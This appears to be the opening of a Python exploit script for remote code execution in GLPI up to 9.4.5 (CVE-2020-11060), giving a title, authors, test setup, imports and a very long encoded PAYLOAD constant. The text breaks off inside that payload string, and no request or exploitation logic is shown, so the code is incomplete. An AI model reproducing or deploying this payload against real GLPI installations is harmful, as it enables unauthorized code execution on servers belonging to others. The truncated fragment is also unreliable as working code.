#!/usr/bin/env python3
#Exploit Title: GLPI GZIP(Py3) 9.4.5 - RCE
#Date: 08-30-2021
#Exploit Authors: Brian Peters & n3rada
#Vendor Homepage: https://glpi-project.org/
#Software Link: https://github.com/glpi-project/glpi/releases
#Version: 0.8.5-9.4.5
#Tested on: Exploit ran on Kali 2021. GLPI Ran on Windows 2019
#CVE: 2020-11060
# Built-in imports
import argparse
import random
import re
import string
from datetime import datetime
# Third party library imports
import requests
from lxml import html
# https://raw.githubusercontent.com/AlmondOffSec/PoCs/master/glpi_rce_gzip/poc.txt
PAYLOAD = ";)qRJ*_O88Ux-0cRlA`B]5y[r.no5bKUb2EzEW34O(K~.Oa}pO}1F956/fp@mz`oQqahP+@[/tiLy:]YBmFrRmc*Jt}VxM^@(9BeSTo|zQ}6d/zF|LOMqSy:Nk5hCLU.s-Tx;fHci?1],*9}r;,FmIDZ5^|0SNYjN}H7z{(fPe1}~6u8i^_S38:64w+Q6rg*h4PZ`;h)mB*IeUhRLk;~}OVB`:XTKPnT4XS9pzLrze,[^Y/qnP5KEEo6t+ydw7m,@S/:_dka*4BAXKk?NvSgcV41P~r0iGI?/}lXrvB+94e3/E]aEUPVKmgPE[[Dc@Vjy.2mW+if^)c@n8a[`qt-0,S+sDM+RSj_M0V(@,I)SLHZg*rjV4HTKyQo9-[6OL7xhZKQDx03?Tc{|wo32~*QHgH;{@SPcPJ+}tXPPS~-@g:I-Zo+nxo+Y,pFjX8(.;Xr:jD6fx2IXJUMw.m{F7(@RFA6XHS{c`v(W~[yFLMvfBxiP;a58,w`pWEuNtKE~@N.t9fRDOqh1o.^G@W/rr5S_?8Ar/c[Ok}e|:i]P:DUB^o7*pUp[F6hml-32MT)@ih/f`T/~^r(.[+fLPhrD4aBO8u/4gPlr-6.}Mz(OTmHSO8XYa]^3|.*ASPLaB.*gzLUX|4,W_|E|M7all3?XXJ}Cy)6:M2fgiT@155[y0)^@HUXC+Iui9+-z^5dTm*{W}jSB@p8o-fHF)0gsa83,AjbbX]l0I{}k?}[,I`SgGyfZi1c2T@~lTM]}8-{H3DuMFd5+iAr?g9~~0P)AU8u`nk?a()`T@L;UMa@{zS9h7HTD*D1W3x*KNAmk7NXX-s8uQumOY3TLKnN4ls?*sPS/gS^O(/[ctaJYlJ-16_XqifQR(U?a1L@|;^3GHPg?J*mY)+[i(l4GBKj5r6Pkv-QxzVhgKKu9G*6~V6T)DiUK.Pxfy*X*QADUIB`L*GMYh0k[Lpk8eBYheF2yli-Czv7{Z:A4TDYo?PzLk6K5[0*vDbn53oPA(Np|U|AKVSqe/^bP~lkxPcUWXC-jt{27G.Fu;W`uu+cjgo5]m39R:3csXshb_EJ[p2i5~RD0.ZDYUa^Ev@mbA._4F@uVRx/LjW2h{tEME;tYpE,e55a*|lJ./kE1n]v_{/U8uyX:L/5ifJ^^WkTZ/nVC@,7oY^mMPV(-9stYKZWyg9fGtj+R4]Q.:.J5[;;v+rCL:O[JBHZ)Nk8s4(nbS*K]VH8,;Ya9V/.CwXV0X/3Rd{*~QeP6rn4|?V2n6vC|WtAU1JKba-INX`wmYI@}h)BO,^NHERJF~rMF]oz1?aaJI@H0^K`WG*8auteXa3svOvIcSqF6q?eyNA2sr)ai;nczU02qrz?s@W}N|VQr/.}R27*B4bA8?LrrbbOsR/VG[]Fii/vC9v;R7z76H,:0Lb(,qr}8Q_|;KCQGg(|I2*X3Nk-@GC[[7d)055J,/8{/JmL/odlgA8-O|?1yw6QmJjZxb;j[cFdy/B]/t?CG/y}Qyq|.RtE(rJ``i9ZxQarkR_yKlz21}~vpl~eLSV1+l/gi;k(]GdS^FueL7VMRa}{B@JUOy4gXP-By:)-jktZfg~f]Gz?D:UVqSJTAn_zLUQqPNHATd(2.uFeQhoO.L]EknPP3NZiLa8z1,;j/{p}k/V3KU:dgB4K}-U@Qx)g1wRI*]YyI6V^Ibl^4a*vwB+8*EiD^TAau8|]NAL(4Bn}*N+AfjHLqYDdbIuhYdP`~W0K@eM}*kj)t9`H(}fTh_0M@2kgUIBX-4dx05+)hIXtX]YtG*Y*dakDk.}9ZQeiGLnChu(S+Nk{:ZMA/HXEGz5L^)5Dh6qno8:Im[{aL_,eaw[ictOZav,APv}oRjmXp)sUsW5my2gm5boX}e-jQ38N3@RUe)J^|QF[IrZG*MfGkRw;ZK+~/cL4M38aBX8b7::Qq;(H+}yMEQV0Esr~zmd|uL4E,q6DsaD~b9Z;J5{At(/fKvOmXTIXiY.*DT42z62gPyW1;Ev*8]@jp{KgYnj1RCocqe~*tvcbWC2CRpA*Gjz(msc*KtdmW?fBsxzc/tle?@gVzi9sTGAMTJi/flQtFVJF^/Ls|RK.lQ`/m42oVGkM`+~V~I@g(9]cRR,`~D;k~TtM3e|):*vAg@LH55{:d:x4QkVb^R{Rll+CKMxa,rzSxG+D)L?ePUCgwZiMp.FwZe^]3gZOmU0kcSR-sc?@lQa)+vAMW7B}k?pF84QoQVIDE[W*4kKn~/GBQ[1Eg;46MRTMO3V31g^8yqz)--JO}2i;(oBbtyNd0XkM+_luyJH_NuZ?tZu|5.+Z.(,7j*(87Xya]mdZr_w?SeC{bE0@5]Nit?tyby`,rI6}.@@[42X]C)K,Tq[q/~feVi1mJl(CxPz`:*ZKl]J2}L;7.*tzTCC(s-BWgD9GzQpk]r*AP_GEQ]Cit6GRCbe;yZ}nreK+2q-ZPDrs^-G29dS@m4/4q*GnabGJW}.oahC88:]m?2hJrpy){pGcOf|7o3lxDUkST*Lham4z4B~}H3uLN{-,~+32@m[l|Rur9|jU_WqKUh+(D6i2[:(sR*)nc(E-2y}Rq]:,VsMIv1dot0m)3@aAARUMNMDxSMsq+O|O]y?_T,QvgXRQrA6c+r`zDr9NpNb2Eoq/?M},HgicpE@/NIjt;Sf^MaW`e^1ADhFcXqe4,KMhu1~GG8dlEU1|wE9NIoxjC(g`cIFq0^rItTK76{h1[SJLCn*w(w|(7F0Fva+~y{yzn1D2x4c-lv?p}wu9pF.?tlaB8a_~zu/4U0~j1/N?{E}1IZ`I{AM@GW{h{Ot1Pb@W@0Ha+7O?N|?B)ti20MTJ0Pm*g-~j/9L;^ouu?-O3-hDNt^0g3w:X92bA}ag_sZrJ3{}b|A^r}y/f(T.2{s`t;t1FGp83bT7lFRE.1;uas;(LIyNJ3OsoC;~-K,MToT+~~AlkS(;i0Pob*.;6+,s|ae2(cP.sF@`Tps6_+heNE_kKNVXk{Od8ETI`}q5):F?gO~ZBjd7G}Iy*QOOSDlTQQ-WsKJCu7Q~vH}NotKuTpwO8;mEElVqQ,D,mw56)}c9/?aooObfp+NRG9(L}b2hm`U9TxFxE5y}Nw0,sSN-jcj6q[;6Q~Jd*@kknF]XNDt(3HQKdoRT;2mYoMlM}Rn^S{ekyqsT:OX1;z8pUxT-XE)o?gXqNV].hEYrr4`Hy:aDh^4K1^|OzS{]7dZ]]--(Lp?{AIlUyHGf09PKy@r?:Dx-COsMlWeCcSp*3v_W(PWJHex:o9Uf:2Zvvfhx*eFT:g{@o]3}Y)uLO,bcugjJ0v/hq(LKCnr/zowwK0bqaQ^.ka5nE0U7/9+aokofDSyi9E|BUa[9*3vkr9Jxg)3Sx6bY.d5sBGWK+8IYEzqlpj?7;j{l^;B2?u;+UAn}1J5C:1DbcV,U@_OLL{aLFY`cQA7JnL[Tz6j-U9qmVy7;706VP0R`6Zmn_aRZE/P)R~A9lYosxX4;[?9/|O?sJSXZoVvNgIH[-D?o}e]_T7GJPu6Vk,SY{P?)b5oiGsGV.0{@,4JuY0a7d(P)`YX1~Iq[]K,?lNe-V+}QGG}T^~2l)BX9khRsxJB(rf,ZVz)dtCU3Br.8.yu~gMo7aD/]m/xrH~i]^]A*HLgFFY/AlVqLTa17qm1qcU;W4x;8,^;*|TN(YYkm?0Xbvsy*{))pfUG02mvBXNeH;)OZJ~6Z`csCb)R:Ute]2Nj90K{`M;6V1+YKbM;B,O/*~g-ucwb2|`cOS?D8Rt]X}6FI^okmw4~PI({VX8;KYMJRv]w2Jc/udD@[wOQ,huX76iQ}HqSgdiTalFVdujJwcaof}Z1MbK{/d;2{RM3rDRF4OSZbN2t+:TW,,v5m+1nWQbaoR(54f-[^yv*GCyzGCN^M9d@.VL4:^[/}6kUcCSz?`J*.CiqjJjQJkZkGxY}u*shO4x38t+`FW};|Go2HRAsSHJJN@``HVmacO[rn|Q+1{hA3yqEg.sL+5S)_Ol5|,kM@RET,7f[k;Xi?Mal?ZnK,*_NQWZy+cr^Cf9RA^Nv5|a@Jp2bD*HT`+Po2laU]LK,1z]LRk_-~keiS^Y8:Zh`.W}LNH`C8fzT/zv2XEDD*3(cpG{DtXeq0Pom^,a7oB_s5_NE*sS*|D:;B:y80ySM.ys(Axv36/*vu)DA(V:qIY[RK}pbgAQ,lhku(.+cC^9}qg_27iZZCt/],MYx{;-5P:a6HGTa-w3h~;;{E-^u~q9w86w)da~vrGTjFiGlO2)*s^0gCOF.1h`,+LR|c7ETS]{2R`ago*d[NpEVNV(KR~+@`kIx[)oCJc?:~oIG:3Of1Z)d|tA}wG_jvj~G{dp(Q?|M/Ep/)a}(UAP^y_~cOAlbjy8v,v].Wb.Ylj((;qQVZ]Wxli2ER8e@AooQFoADbfIn@*maADair)(y7)9ppn_]tDoW1X{]lB8NE[@PTB.}ntI`B5VZ)pj.aH19;JOC1@7_l,x^.j/22y[6yehst}qYwnJq(.Oc@2;?*Bt@1CnD;H2^YcJ0UmvYuu6m)1`d6dYRM[)q3lalx71q^Ckt5vw,)9P~vQM9^Xv,EsgLdfBf3/v(XT[;{vlfZtIlg_cH)9ar6u4.Y`Iz?{wSXT_Nc,s,UC[N*4_Zsa3l(N0]_|/;V/Uv)V*3ADY440c+{RSgmdi^J4C{*z~YLVVu0x-^@]Bbmq]^NceLtSwV]~hDx0CtVCZ;{GO:q;Gnl8rhQp[OUO9vK|Uk9cRZm/ilBrbl]/W81d}d~e|CZpYCi~+35JzU8wM12YSj?]]_Vt9Otv^O),Zewl3^NMqg|ngeHEBLD9htuMn]0a.;?46UiPrRV4b4P]43T4B)-^bpWilQf_Oml`FqjBdoOPJ1sSk*I65hg2ga:VzV9K+qD]:WGK]]1,CrFZu9@xLDDE*gIP[O{b^}Qnla7yn7lZ~^C4w6*gkzx4/;D|iBInIrz6XNv+,32C9HVVv4Rxb22G]W_Qp+?j`~d.a~X3[2.~v}o6Fob)JF,sRGojy[vv|DTZ?i:9o*,BJuo(xonPd4}Sn6+Vx|]ty}[j`8TWAys;OfsxW9ykcWWF|VaU);kiDB(U5]np1kmnqH~Xc{5qo[pptfaD7,8F)|jtOJj}~9I8I]rwcfb3g(DU6{|o_.EYyLLIyq0R37@/|W,)3LqF.)34}z)*pDI]uUZ5igge(35oBaVsf9pYh9FE]Z`khw^QRyz1(j6b(mREtM|0ZZv@g|Ffv;3BN1Px6Tqt@eM,`B({j.3{_x4bujJ;wUN3GOdR_)5LrXEShh+`LT}dSCOZBe^a[/;|ZUmNeM@iX|D4YtCe3bTT^MAvAU]SsC)jPIX/`4T,L1S{a]NM:^JtLt|bMX76_9(YS~W2*Nh,~Qs)PH5{AKS*xUpO8Hd^3,w*wvJZi}HPqW@WyKcE}3EFAZo/@/,716,5,?mWUy~ZEH.;QC*5@FSDf^4g1VazCp5yx.}:N9}K`vl*wi`^a)u:@v?aI:N:F6,1DM)(f^-^5/G)H2-kNQl9Ep}tR_|(AU.^]urXiH5;YxJ.c5FqS-wb]Akh8Ip-*.n9GUfr@RPyt(nbg,.2ux;rJR7giRwgnZs9DYFst9Cyr6YX,B]P0Y8^i;1o3lIQvsdweGnn}Z)Crl|2bf{C}ZmAG@iCd?*{}3zSL{__gVnh7lhu/^1j2?{p^ikcCOen?[CvO6`H8?JdkeIF[e^7BDQzC2iREV6(wVmBG:v2b,^qaLxyclr`}A[9b|Pul9OBS^[JkhizdHCElSs5R,4M,,opGH[^:fW_A_L}zu7m_7{fDP4W,eFgEEnO{l^cILZ*Sy/b/hwPOG]5[61wr9RTM^32^[)7iX:Y0D;Q,`xl?JOKYkv(?Iz2jvA8It{i2b0YuiUa6hF)X54Z1}E2aERlZ}a-UPP/8;YS0(+K}NFC~`LvFg[Lj,D*3biT{+(Cc,])`fAvwH~~[`-YbwE?|DSg(Adp~ASORGi0QunZHCt^U-rT2.kt*KbdTp0ZOs-|Bbi82K4UTR-3cRYF4MaZ3HR56hdT)pNGf|oFcc[5Y3pK1hm79YRJ`)q6[:U|U7p5E@^9yW.6xLzxSa@)}^f,?4,S,,-obM~d_fePbtk`INaxEGmu55ln5CmAKjfou~ZaN~F;:m2Yc)A(W~8y84Rc)7js~Ld.FEvxwlvcgP3xkR*ovGsMB*e3Y6M3s/3L_*t;Pv0ycqZpZF2,ne[IYAC]LUWiKCJhcaJbvl.y{Hj:BfhG5iVu7X3mF2ie]*tjr0EPl6Cqd.CV8[LpHPT)z@|5{4.NsK^{qS~vp]0;p,nR~KT03P9*SkNWRekOjvp`o1R3OaY)(tO(j*DgFPTf_,omec5Vh98xE[L6LS59iJ{3xAM7+5D}tMw5`bN3MD6:m6~vje*0F1Q}wY|8U8}.9qR/TpN8AI`zqeR;:YHfSLvs1MeV85Xt).0kEN+B[8(`IqQGs@KXwN}0[/yZy.cM|]~qh}|.5|.TVHxAWfcScuiwRJBn5C)^9F?Gm7Y[{S?h-u,6NQFg*x]l,n?alcq.s?oFTA?pDrK?OEG+gU}X}`CIU@;u~(dN^Aloz]A1u-mZi}5s?@kH4[ZEr^Y+`L|A~yNbOyvCQpVTM7y^kx;{+u~9`UP7GVh86X.E3K3Q-RLNdpFK}HMokeq07h[c:nf:7`G8w;D8JYfMK0108ila~]Ymn8-J6Lw~7Zmo{LsugPvrQ+]Oz`Il*q?ca[lMFr9WGqWl^LS/dzr5BoloX2Otlpxj`jHsm9hYYbdKFCn.luUDZijAG6:I8AS^gibd,x_`Y8@JF7496c6Y?Vo43P0A^siT-*I1m^)Lm1K2w8u|gVqMb~NWEd[x|Sx|pwZQ3o:?rTC65.{2REDMk?e@q-bQJ*Cd|lc:26a6(zfoP5J7^IAUlu/(F]wD.`viENYfS+aOL7I/[O3akE|e|RwI4Q6:zG2pfak5Q}_hDDoz[nw;yO1G{zJpSEDnjvzL.JM~I{rMfj)PgERv6NQZrb{x]Lg(/GXBe/9wU+2}RRwTGk?EB|:Vo{y|EwP1{hxi,RqX*p5?|@1ekxyKKp8zs.8i3baUI.xj_y^;k1hJpK}:21N3uJqnciHmYxDhp*-jMbj3~}9@DO9+m/MT4:WiPTjNA^16kFMS(bhoZih2x)nVioPsF.P1@vG(bo9-JJ_fQ`_PF,2,obmP,^39D7clRjtBf@HnQ3xR1f@D.//p-3`S7Uddy+?6dxt6JNYazRrf.UK1i4oSdrD6CGXYfy*GYrp;,nUactZsTD:Ze/^(VZhq8jRJCr|pScsFCN|ZAE:B|fd4Dq;64txD|u_L[G.z3wu[JaSJ5sn4Sh{+qi,W/F;SXxN]]067q3kyA]{F*GER3^p|:zxCQb1~n7S^TF/fy`iut*y~^-P*;9_[pyhLpzJF)_oDFe`?6OmESEhF{`.:y:rEhtp{QZ)lg{}Lz*]RzJdA)UCJUsv;NsYQ]EB/BRJp3s]a/VJz~*hP(fv,Z|pK2y6.,t.2:h?N5BE-o.E+(?cK?8)Ox0P*ZFA2HrWuiUYwZ.E;(HwQNI18(EG5w_FxE83_vY*9|L5d]f.7_b7Ef{|f/[_+*~/tI/?])Bi@**3ZaJ)bn.cWgF:R`hxm-*QF:yaKo)5/`PM8rzV:vgL|wot04;5LTx]LfJ8w.,Ghan`e9fk;zm:ANzg,Ri|^.2:a;+l7BEgx]PZlpoHwA?0q.S*mHIrS[bRW-;U`GCX{b1Xpty^|m;ojG-LFzbij?7S(u@Pvhtc29y/)s+|,ua_N)O)gpG,Km,Jdfcv{M(Mw_ms[-sbGf.[C:oceBUi~:L_Ggc-dx+N7J(mchJ4rG.[rW^kKP4Y1(dkc3,D|34~_1Oy[]C}AD,i1N@5MvI,~ZqaPfQp.+;~WfR~@iT-oq4:j|Lz-yQT)aNup4rT6..9CckJk]C(S1Kgcwwc)|P3oy`v3vw0pvBslKun~}mFZ(~b{]R2ThH{kB@qaRG5jmL_1GiTU~[9y7@u0AM6Hu2o4).;j1Dg5GSt5t,h|OU;iU1nihK+GP)/p?qGV8cWWEv/)+;FDWN7C(5jZVWceoqjeL][O80JOYPYQjE6?(gK9eRI]BgDkoEPjorf5Q8Ht@W@KhiK,mD7NlU,Lu[pAKIQ,1h).@n@qR``km1W/~M./.81vLe5QnVt^iiW(cG6`lpV81nZpNbc^j[a`+Z75d47w19ld59oF/[PYR;bQiIFsuBn}xJE-v5V{^jZk/vOFPH]RnH-MOJMf3*yoOJ`KV}@QkMCp/oL4|EPrCt+eZQSWL2S8s]:??_e0Zz5/;gh])|hNr@[D.|ifdM_^`Ql/6qyl7;NEU.H+U?0+Btgr:`bE2}a|.waGq/ThSd0G)Q22_zdtwmOxAM:`Sf5t?ecIP?3X80--TQtZ/E~cFK1*~*C?rjZ_yzEgdq;gM,T3+7j._6)YD5,Enu`oU/3XRf]H+]96YfZ3LbKE,*2hc?9q}L|}`v1/tTRj}4kuVhYs;+/PQPEN`,Q{q;IR9N*F8z|;?C?_J]B(UDG`sNt{EHwq-`L61mKO640u}^V56Bh?cjZRA+})~rPqHaqi?Z)fds[_RW7RuxQr,/|8aohp+C]Xw@{5ddv{06RP8^(tQCa0lOkp3_-Dg^9`Uh~8uxm35gAi`FCO[udvSGxI}`mhGhl(NA.G}wZaL:BAe9hrSA`9V/3tm8|~LXv}*k*`J7H]TUfW|:`Q`^9LtOzlckw?a,OaWYZ8FPAK`D}^14O@@XHi6Cl81pB+G*^g?VEr?MGWhq-E^lW_Bf*Z7]4o*SjvbvgW8BlpwLw)|t5mjC0{:*z6-V)HK911;U^,d:@C[5lDun+8e2H,0B@8v)Rxo32lRqI91m}6FN[_NrBtc9,;tFMcb{W6ZZ:s]44OOdjqTW94?n`/]2{~oOq0Zfn20D4A4aZVioI;Przexl+X}03;vWT;FO*8V`Ug8zV?)MfR8V`[D:42t0ga/SDqK8xo1oS+{mTU{bw-/u@;)R9Eo3ewTUM?F4VKohBO11C0oi8TO{}uMO)x)-Kl?.[@eLm.9ZyRrb,?ZS1+2}f-/[[(cfv]gefTpi_C]na{{F8QqKg3FnEwW1C:G@Gat^kJ)p}p[N1`[Sl2hbuhg9]9M]/J@EGRC;XD`HhKyYeka[5_+z8t]v)x3j2RXGjtNIAk{[.6OVX8Glo^]J-}0h+d*Chi}9oP.zN[cpV.JJScOc]hWrxVJom|1D82L~ay?hWAMTY:H),nH,mh8[r`/R64hFePt?rm`2ww5`5`G;|lcu}m)it7gW*E:s{i+{2-Iv0Aad`xiMJ/t+6LD|M7opF;.hHk*3sDEGz~,p}mGReRCO:|0vg0a,UuD+dEwrVW8VLO}sj?*EVDTQj1Sub4S([np[Lqk.:cbR+,E?JMN3P`|A*cg74FCHAzJ@bZBQDw2Aux:FnLZpMg^wnZD~Np185?DWjM^mE_v.e-[xcrUDPn{DaE~hB}_c,pGlQnAP*)sLt3SPMfNxp?trB8g+Ct/y]xVbJpsRUfSAp(O+rnhFC}.W.GGza5T94G1BB8e_s~hp{y*4v@y[x]_:I+-Qm(MIG1*j5P:/GE:f2lT)bPh)RR{ke;Uu.(dhq-2{v2)T}OX6ldC~BfJ~k_R[QY4Nu+*UWSxJL-,3)(b]I.{^64u@R2vjwpO3?*24oVd6M{wR[|~ZJijSz;sq?X+)9qSpf|T.:PJ:yT8|v1:SSP1^:zjxDk(Ylicx8@(m{m2^ui.8H{~V07Z|,lCyX+YJSw]mB[dtxAn2mUC2zLhn0TGdIN0T*IyW[5ihAoCbQrva-TaQIh;TG}?0Zplu_:B8WxLiIPV~Ohys0j(fxfS7dI]gieATwZC^b_b9JXu1G/_m:m~+Z(p[Yx)Bf:YP[:Bk)RSJx]qPcZ}dD:t,tqUqOdPYt?]|Jvv2WypfSP_*QN+w@^s,2}?]y[{hG(DPUW;y}/iv811*bnd)[+4hr6Wox(Le5tsXfGPe~1gK2ngD}0BFUSIiPeBgWG7URi,RKCOYMuBS7-HN8uJ0L,[hx(aw)AND@f{nXHH;9|@3r*}fYZHqWzc3]DgOfSW`.FOS0l[35DKOBk[W(5pn):4N|]CbX(y?YFAw4AA~^?cPN`/0gH3Vf.atXl]i,C0}Q,bob|U0[pcVVHvLWT[9edI7xpnitZ5*K;Flt0v(BPu8Q_etook2r)zvGPhd(kSX}?YJCVtRQj6f8xt[I|hl~o({Ph_(MJq7@LWmo?RejZ|@59^4Kb7*99AG+G[b3l9igWp]6hyyDhvj97~_JZsexMNJxV@O4@C|DkWVW`(B-lPRc^WQiOZxqA?5iUn.gx*y~78VL}6;f`7{W]/Ovxv7e}o`TQGcDm~]Z@/deEIB~;KlL-DR(76DvLLGUf|h{?tnZovM6z*xIpuO6WUB5}PDf*XImYe(sh].CnD1jVpQKyv1}w|[,SlF5h?iYkW9nyST7AXLE4z/o:VSk`kirNwCczQ04.4kK]H`WAZGUeSh?]V|Yob9HRrC@OJqt|EgTe2,_:SB^xd,I4P+G2F4n8ADgf2DUcl6O:;./wjH6k:?mWer,Ac/cMi(7bB9yOnY?lH]izbXmaI``fHKAKI2~WvE_]yEV2[Zpdd}9IlZeG~?F^zkM?LaQT|LMmz(DoJX_KR3ErvjoZ}PLMB7XARET8ESf*z)IMwvy2f:B.sd]y[1481M3XPm3sJXTmAG4@Ot@8cZQCMq-cg?fm]I4d^(a0fAaZH7/?WwvifYtorv0]grf^]MP9*k)MM9(oF~IFguK}2_Jk}FZ.D42+cfD,B^T-3v{7Ej;~X8,3Lim^Mm}JMcSc]Jpx3}vS4}6+8mi4~g?}j.8^-C43+[AMp-j_vL_8dNjMx@4juXXk59mbJ*Uw{Fu3e)^|O.nnK0IVvTQT[.hRJd_^A)|o?~YLiY]KgG0tavwl^xY[:`x72elSuM:v:QmWr8yGoO^CAK6*2x)Qvau|ufV)9o(gaky?3X5B@QK3{-w]hL5|i,}.HX`P*n{`+n]n8.`kig8i|lpcHn+c8Yw-iuER|fH8e/}|/|jAHQ9Og4RRU7pclpJB(1`*;{c;`,dvuGT1]5siUq~l~psc{DTE?9,zbCX3{W_)@U*C9,;Gb2/F}Z33*7hrikln94[39U5V,nPKB-C*LcJLXM5gJG2[vX]veZfeMI+5Uw|;8cJ+-Y]m2@F?dT~5NEYXDYOtbDy+W-w_JVrHLsZ`ZBF*szGg3R.f)Q;}AY5F^]YMN;5T`s-]wj4wF?3H(mJp?M0{3[g2JH84O1{3EpWP/aeZoETTB?J2Kcg+kl*({AMcuqAa6.bc3PkY]s,*5e1+PYOi-Th1JJ(5}k5;cE8~4*n@F{HYFZYS6NM9kt]^l1rYfCfA45[C)rqD0Qr^VMRN.jsmxe07LC6h(*:HKLJ*1*Gzf`oe]8t`dQEiwg90)U^wQCk2d.@WK*+g7A}cM;^~zBD0L{zXXNL9po0W,@a*a{d_xIdH(6P,k[W)uW[:+AE(HNo;NKo28p3^`/@0H_5-;??d];Sv5hwKxCk:R2:]]Um3t3*`hJnQvJk(71RhT|Vk7N0WdVd0O@-MIbVO@f_QT*;~s87_CoKWINV5Rd1-|;3:WLzq5sf,6cA:|zFeGkWkDqBwxU(Zk-1-VMP.dO.VgiLWrVkQC7npklOT5?(FD9+fZlXbXDhWYUOhz~UoEwWQWydeE4m?//-I,6)[8DRcNK[}T9Bgf0eOp:KCOm?|T_t5mk@MFP.H2I9oVRNcsefqTL1IWx}jquYXMgA|ol[KfIveYvo0AjUojQJkU(kX4ixZzvMmCjY-PUaB/ILbc~mX25SgG(fE5i3)I]-C^LJW0J4wlioMSyQn]87;RnFo]LmCqmz|qYjQlB0/PgDU:KF|tj5Z,](AyV8Ya1Y2Xo8(qCF*1WbZ^Z;hKGaCBZe6EYyHe~hFz.W|lP1xlJ33[hxFj-VZ_COv^P](n2q(Dd`1PynS[x}Ut^-CgUlNq:UB3TsklRQ5Cti5v@u:KEiwC6FSHgh2QU7d1acvGjBG9,NaTQafp(RMyxI_S|nql19Hn]KIiootsXkkKCDHZh9QDF+*)_jl@1Ns,[JFaOL,rc:6N2@2O.qs*3U9ZPfQgtseY3l-hfEkEeGha/fSq,xIt0oWD~L[`@1hR;~7FQ;eVLr7jswlA[[{Q*1iVHx0(s]R:yZC25E|`PfEjJHqY{x3Xtkk+k3HO_KHM[DnqZQ*y3KtumK2nA0g_Dhvn_g@QQR{|`|B~H]Nf}t2i[2A`/)Hh`?A|aJwar9E4,*?o3-y[pv3}0+zq[{J44ho+?C[uErII`NX,}JYgt`|1vP`Ou+YvH-cllWiap;kkV3HI7@QnHHHq.__6FrhZBQpdOPo}FmwRMSNh-s?z`iul4y|U9tDop}TSy_JDG7opnNDF?+isM[kgY+UWh@sLBQr4d)I({Kf@fQIyf-r~62v`:xS+,R[GnC28^1LEe`i_BuyJTTYIe-22J1b4fcltGYf/BPayVwZU7DiAsW3,ok[;FhzbvNmezLwg}MDXCRlyPiDhYj[[@rS1^J,Y2SMu+sf~@VERq(Z,p)qW*sn{o9liH/t_v.DL1cC{wcxzp]KyBWguV]CT(TiDTvdZRkAS7qP`pR5xKir8dp~qt4,R,DgcO``SGYrSU)N0lTRQVB{aALU^+owQb0x]k.A`~QRl)B]}6.]l/[KaCYCAVNA{4uSv@6,d[@VPtBi[sBB[F(y_)@Dzy9:Z7/4ABTjwmz~RaYv_t/90AC{J,*uy_qMo+CME7YR}_B[_1X~Vn68{4Z6dZP,g+URH-9JX,[jvHAvLyJwI-N^T2bILokflB]Jg)yRS/+H~X2]8amM6Gf8UTGxN`f0e4U(i-3Uw|KuR-aR?z|GP++bGCtthlT0h1tnR_|8ULkw83:]a0U,Ym{eiO2yQ_dX^EUvg5bcMdkS7.i{l[x344mm@^qEM/GirQD}Cb+w0k15a3;c{Nja[;|Ks7{Zu8--J1@:O*jRb-~f1r]Ti}qD4G;5sAEm4DXta,;--fJ.q:[LU@|/-A`yP0?WkL3gSvA12,1|6KL5/+8RdM^wWp`]k(H9{,TJ2Nk}@[iS+LFLR|Hi)^pG;]:/j[[/r0U1]|Lij;)qiGLYa{RP/yFc(1`HN?.lxcygo29JP|V3(F2314xYQcmX@yKMeP|YvM+MEx492_XmMyzUa|6Cn/jK+QM0p*OQRtLCoDUBFGtvS7}N0k9Rr^W3nM5[PW{)CaHOH1PiD)}-Hw8YgTNsaI-Akwgh1vn_@~PnOgeU@S*3d?fTxP6J|1oQm@a{NMO`M;ur`.WM1vs_7DgR{P|K3EnR|)M@gk_m@1Jm9X}UKRZ{lAGuE4czG95wnc93e9KNEPJ)6:y9mZ_B0?}4}5@2_2`ps|~FqA+*E`Ev`DRw.Lw4R-v8af5:7yMjNTO.m_25IXWPyLhUWKD9/W4:x1/hP`nano-Lm};;lByP|Y^BPWkTeT|*z1MT{u:rz)a|{n^O.{RZUWQ[eE6+CU;J*LHIGuf0XZ;Zv@|cpdbwqyB+0NwS1,;S1LFLqAQ*MNRO]E9bdYl;.5hypKuFbBR,qRR0(dv[vFrb7wzLgdnS517cn?.]]i.KCpYRMW}a3.|:AoudGcn?-520lbT^DrZj6wVfWX,7r^QPXRrDe?y):X@bA@9LsZj_.v-cb^CtYJUBmZ^c});s,r+a]e~9iitr8,T@1K(7/Ak.R+,|1i]d.1bs@TyFW-v;.D8SZ6pm~POu4T:]Gr1KxvEv-pwTfyeL7^+pQHP7fJ}t9M@]5sOkEVo}NeK]avoYinbTO6fq|fz8]L4cnxi4wtVC;YY?cl3L3NcfGCyGN,0Lu/tq,5CQfbGE*URI`sE^v]9j84;m51;|U]8W(c1[p)b;z12)@XIc3y5H0-se4C2tv-5YlN@bT2*JUj~MEEtaCs^r,9,~X4cf+9;)2PuVKnYQbVzM1k8U4?gsF5Hq/s;kQHj)fDQNfY^MmL[7k4ufEzHMo4vEYF5TU~Xm5Ea]bfhzDEq46PvkdnTcdd8P(NT;Gc2FQFJ~M3R.r@(X;B0WFfBktirocY)*+d*P2(NOTyN.L?BqZOmM[eGRmMUSkzhhWe^?h6)bG;+J|3St`EYO-d.RkcL6y@fOZk6z/v_e5Wnd|(@mgdqxv*|VDTc2IhjD`enZ0B-XvTf:v4I8`dymSpga-l}}?,0^f?ZK@o/t@it4CumPL2asl*S}n}WgfY/fojQa5S*X6KC{+Y/[t7)j5:GIIlt3kc9mP^|)y)EWDI(tlHA|D{kRt/]T(]pxOC}H2kz{-tjBds)`y:;Yt2zzucuF60C8/9k/IvszlNq]Hw._Ns|8Bd9NFlF4gKVJ:-FPPyGqAs`0,,)mvfxNp**jGc).ic:4g2pUYHJmx``i]~mfaklZ@*/eEjc((`ELP*6ZL|[9C++uRh7OkH3G{0+RkZ;UHrQCVdS(uOdPX6LH.UQicyl+Tj(Af8oR-/?5QR3P6+:fu8^7+HcV|utDb8-CZni/s)b613/q5j-V8s?e}a@GIgb-?kyH4H?RX6Z]Ef+j?q{aQu/WKf`89j?2LwId^)f,Ny3_Uw-`MAk,.XFvlR?{@KTkh68|i~f|V9U_T+Ar)ae|50bFL0zN;x(9+GVt7y,?lWYNEdLb/F(|p9Ubhw*,]ukG`?)X3~DFT7?/aNX^e{2EWtjoRJBX~}(rH^wvi8dgMrNZrkrt[(CriS75Q`4lJiXu}GJL.gevS92@TvXgc)uG9`q[6*S,[E}v8*J5rU^(`-sgB7q|.ZP/iQJqXb3]IwYtv50}2)SmWftg.+9nA?x7hq1+/JLnI@@KY8QuJ{){fX3_scb14`FO}/{D1W04fJ|[14pu2BqGl^u^KOEAg5;0efkwW]TzOr@2O]J83H_d6Nz?|)a4Gk6jSPwI^-1dq?QslRt5H.dv@_(Ad;AM~_XBw{Po5p+[57ub[W|j(